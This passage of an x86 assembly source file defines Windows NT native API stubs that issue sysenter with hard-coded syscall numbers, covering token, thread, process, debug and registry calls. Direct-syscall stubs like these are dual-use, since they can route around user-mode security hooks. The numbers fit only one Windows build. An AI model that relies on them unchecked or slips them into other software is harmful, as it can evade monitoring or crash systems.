NtGetWriteWatch PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 281
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetWriteWatch ENDP
; ULONG __stdcall NtGetNotificationResourceManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
NtGetNotificationResourceManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 282
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetNotificationResourceManager ENDP
; ULONG __stdcall NtGetNlsSectionPtr( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtGetNlsSectionPtr PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 283
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetNlsSectionPtr ENDP
; ULONG __stdcall NtGetNextThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtGetNextThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 284
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetNextThread ENDP
; ULONG __stdcall NtGetNextProcess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtGetNextProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 285
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetNextProcess ENDP
; ULONG __stdcall NtGetMUIRegistryInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtGetMUIRegistryInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 286
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetMUIRegistryInfo ENDP
; ULONG __stdcall NtGetDevicePowerState( ULONG arg_01 , ULONG arg_02 );
NtGetDevicePowerState PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 287
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetDevicePowerState ENDP
; ULONG __stdcall NtGetCurrentProcessorNumberEx( ULONG arg_01 );
NtGetCurrentProcessorNumberEx PROC STDCALL arg_01:DWORD
mov eax , 288
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetCurrentProcessorNumberEx ENDP
; ULONG __stdcall NtGetCurrentProcessorNumber( );
NtGetCurrentProcessorNumber PROC STDCALL
mov eax , 289
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetCurrentProcessorNumber ENDP
; ULONG __stdcall NtGetContextThread( ULONG arg_01 , ULONG arg_02 );
NtGetContextThread PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 290
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetContextThread ENDP
; ULONG __stdcall NtGetCompleteWnfStateSubscription( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtGetCompleteWnfStateSubscription PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 291
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetCompleteWnfStateSubscription ENDP
; ULONG __stdcall NtGetCachedSigningLevel( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtGetCachedSigningLevel PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 292
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetCachedSigningLevel ENDP
; ULONG __stdcall NtFsControlFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
NtFsControlFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 293
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFsControlFile ENDP
; ULONG __stdcall NtFreezeTransactions( ULONG arg_01 , ULONG arg_02 );
NtFreezeTransactions PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 294
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFreezeTransactions ENDP
; ULONG __stdcall NtFreezeRegistry( ULONG arg_01 );
NtFreezeRegistry PROC STDCALL arg_01:DWORD
mov eax , 295
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFreezeRegistry ENDP
; ULONG __stdcall NtFreeVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtFreeVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 296
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFreeVirtualMemory ENDP
; ULONG __stdcall NtFreeUserPhysicalPages( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtFreeUserPhysicalPages PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 297
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFreeUserPhysicalPages ENDP
; ULONG __stdcall NtFlushWriteBuffer( );
NtFlushWriteBuffer PROC STDCALL
mov eax , 298
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFlushWriteBuffer ENDP
; ULONG __stdcall NtFlushVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtFlushVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 299
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFlushVirtualMemory ENDP
; ULONG __stdcall NtFlushProcessWriteBuffers( );
NtFlushProcessWriteBuffers PROC STDCALL
mov eax , 300
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFlushProcessWriteBuffers ENDP
; ULONG __stdcall NtFlushKey( ULONG arg_01 );
NtFlushKey PROC STDCALL arg_01:DWORD
mov eax , 301
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFlushKey ENDP
; ULONG __stdcall NtFlushInstructionCache( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtFlushInstructionCache PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 302
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFlushInstructionCache ENDP
; ULONG __stdcall NtFlushInstallUILanguage( ULONG arg_01 , ULONG arg_02 );
NtFlushInstallUILanguage PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 303
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFlushInstallUILanguage ENDP
; ULONG __stdcall NtFlushBuffersFile( ULONG arg_01 , ULONG arg_02 );
NtFlushBuffersFile PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 304
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFlushBuffersFile ENDP
; ULONG __stdcall NtFlushBuffersFileEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtFlushBuffersFileEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 305
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFlushBuffersFileEx ENDP
; ULONG __stdcall NtFindAtom( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtFindAtom PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 306
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFindAtom ENDP
; ULONG __stdcall NtFilterToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtFilterToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 307
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFilterToken ENDP
; ULONG __stdcall NtFilterTokenEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 );
NtFilterTokenEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD
mov eax , 308
call _label_sysenter
ret 56
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFilterTokenEx ENDP
; ULONG __stdcall NtFilterBootOption( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtFilterBootOption PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 309
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFilterBootOption ENDP
; ULONG __stdcall NtExtendSection( ULONG arg_01 , ULONG arg_02 );
NtExtendSection PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 310
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtExtendSection ENDP
; ULONG __stdcall NtEnumerateValueKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtEnumerateValueKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 311
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtEnumerateValueKey ENDP
; ULONG __stdcall NtEnumerateTransactionObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtEnumerateTransactionObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 312
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtEnumerateTransactionObject ENDP
; ULONG __stdcall NtEnumerateSystemEnvironmentValuesEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtEnumerateSystemEnvironmentValuesEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 313
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtEnumerateSystemEnvironmentValuesEx ENDP
; ULONG __stdcall NtEnumerateKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtEnumerateKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 314
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtEnumerateKey ENDP
; ULONG __stdcall NtEnumerateDriverEntries( ULONG arg_01 , ULONG arg_02 );
NtEnumerateDriverEntries PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 315
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtEnumerateDriverEntries ENDP
; ULONG __stdcall NtEnumerateBootEntries( ULONG arg_01 , ULONG arg_02 );
NtEnumerateBootEntries PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 316
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtEnumerateBootEntries ENDP
; ULONG __stdcall NtEnableLastKnownGood( );
NtEnableLastKnownGood PROC STDCALL
mov eax , 317
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtEnableLastKnownGood ENDP
; ULONG __stdcall NtDuplicateToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtDuplicateToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 318
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDuplicateToken ENDP
; ULONG __stdcall NtDuplicateObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
NtDuplicateObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 319
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDuplicateObject ENDP
; ULONG __stdcall NtDrawText( ULONG arg_01 );
NtDrawText PROC STDCALL arg_01:DWORD
mov eax , 320
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDrawText ENDP
; ULONG __stdcall NtDisplayString( ULONG arg_01 );
NtDisplayString PROC STDCALL arg_01:DWORD
mov eax , 321
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDisplayString ENDP
; ULONG __stdcall NtDisableLastKnownGood( );
NtDisableLastKnownGood PROC STDCALL
mov eax , 322
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDisableLastKnownGood ENDP
; ULONG __stdcall NtDeviceIoControlFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
NtDeviceIoControlFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 323
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDeviceIoControlFile ENDP
; ULONG __stdcall NtDeleteWnfStateName( ULONG arg_01 );
NtDeleteWnfStateName PROC STDCALL arg_01:DWORD
mov eax , 324
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDeleteWnfStateName ENDP
; ULONG __stdcall NtDeleteWnfStateData( ULONG arg_01 , ULONG arg_02 );
NtDeleteWnfStateData PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 325
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDeleteWnfStateData ENDP
; ULONG __stdcall NtDeleteValueKey( ULONG arg_01 , ULONG arg_02 );
NtDeleteValueKey PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 326
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDeleteValueKey ENDP
; ULONG __stdcall NtDeletePrivateNamespace( ULONG arg_01 );
NtDeletePrivateNamespace PROC STDCALL arg_01:DWORD
mov eax , 327
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDeletePrivateNamespace ENDP
; ULONG __stdcall NtDeleteObjectAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtDeleteObjectAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 328
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDeleteObjectAuditAlarm ENDP
; ULONG __stdcall NtDeleteKey( ULONG arg_01 );
NtDeleteKey PROC STDCALL arg_01:DWORD
mov eax , 329
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDeleteKey ENDP
; ULONG __stdcall NtDeleteFile( ULONG arg_01 );
NtDeleteFile PROC STDCALL arg_01:DWORD
mov eax , 330
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDeleteFile ENDP
; ULONG __stdcall NtDeleteDriverEntry( ULONG arg_01 );
NtDeleteDriverEntry PROC STDCALL arg_01:DWORD
mov eax , 331
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDeleteDriverEntry ENDP
; ULONG __stdcall NtDeleteBootEntry( ULONG arg_01 );
NtDeleteBootEntry PROC STDCALL arg_01:DWORD
mov eax , 332
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDeleteBootEntry ENDP
; ULONG __stdcall NtDeleteAtom( ULONG arg_01 );
NtDeleteAtom PROC STDCALL arg_01:DWORD
mov eax , 333
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDeleteAtom ENDP
; ULONG __stdcall NtDelayExecution( ULONG arg_01 , ULONG arg_02 );
NtDelayExecution PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 334
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDelayExecution ENDP
; ULONG __stdcall NtDebugContinue( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtDebugContinue PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 335
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDebugContinue ENDP
; ULONG __stdcall NtDebugActiveProcess( ULONG arg_01 , ULONG arg_02 );
NtDebugActiveProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 336
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDebugActiveProcess ENDP
; ULONG __stdcall NtCreatePartition( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtCreatePartition PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 337
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreatePartition ENDP
; ULONG __stdcall NtCreateWorkerFactory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
NtCreateWorkerFactory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 338
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateWorkerFactory ENDP
; ULONG __stdcall NtCreateWnfStateName( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
NtCreateWnfStateName PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 339
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateWnfStateName ENDP
; ULONG __stdcall NtCreateWaitCompletionPacket( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtCreateWaitCompletionPacket PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 340
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateWaitCompletionPacket ENDP
; ULONG __stdcall NtCreateWaitablePort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtCreateWaitablePort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 341
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateWaitablePort ENDP
; ULONG __stdcall NtCreateUserProcess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
NtCreateUserProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 342
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateUserProcess ENDP
; ULONG __stdcall NtCreateTransactionManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtCreateTransactionManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 343
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateTransactionManager ENDP
; ULONG __stdcall NtCreateTransaction( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
NtCreateTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 344
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateTransaction ENDP
; ULONG __stdcall NtCreateToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 );
NtCreateToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD
mov eax , 345
call _label_sysenter
ret 52
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateToken ENDP
; ULONG __stdcall NtCreateLowBoxToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtCreateLowBoxToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 346
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateLowBoxToken ENDP
; ULONG __stdcall NtCreateTokenEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 , ULONG arg_16 , ULONG arg_17 );
NtCreateTokenEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD , arg_16:DWORD , arg_17:DWORD
mov eax , 347
call _label_sysenter
ret 68
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateTokenEx ENDP
; ULONG __stdcall NtCreateTimer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtCreateTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 348
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateTimer ENDP
; ULONG __stdcall NtCreateThreadEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
NtCreateThreadEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 349
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateThreadEx ENDP
; ULONG __stdcall NtCreateThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
NtCreateThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 350
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateThread ENDP
; ULONG __stdcall NtCreateSymbolicLinkObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtCreateSymbolicLinkObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 351
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateSymbolicLinkObject ENDP
; ULONG __stdcall NtCreateSemaphore( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtCreateSemaphore PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 352
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateSemaphore ENDP
; ULONG __stdcall NtCreateSection( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
NtCreateSection PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 353
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateSection ENDP
; ULONG __stdcall NtCreateResourceManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
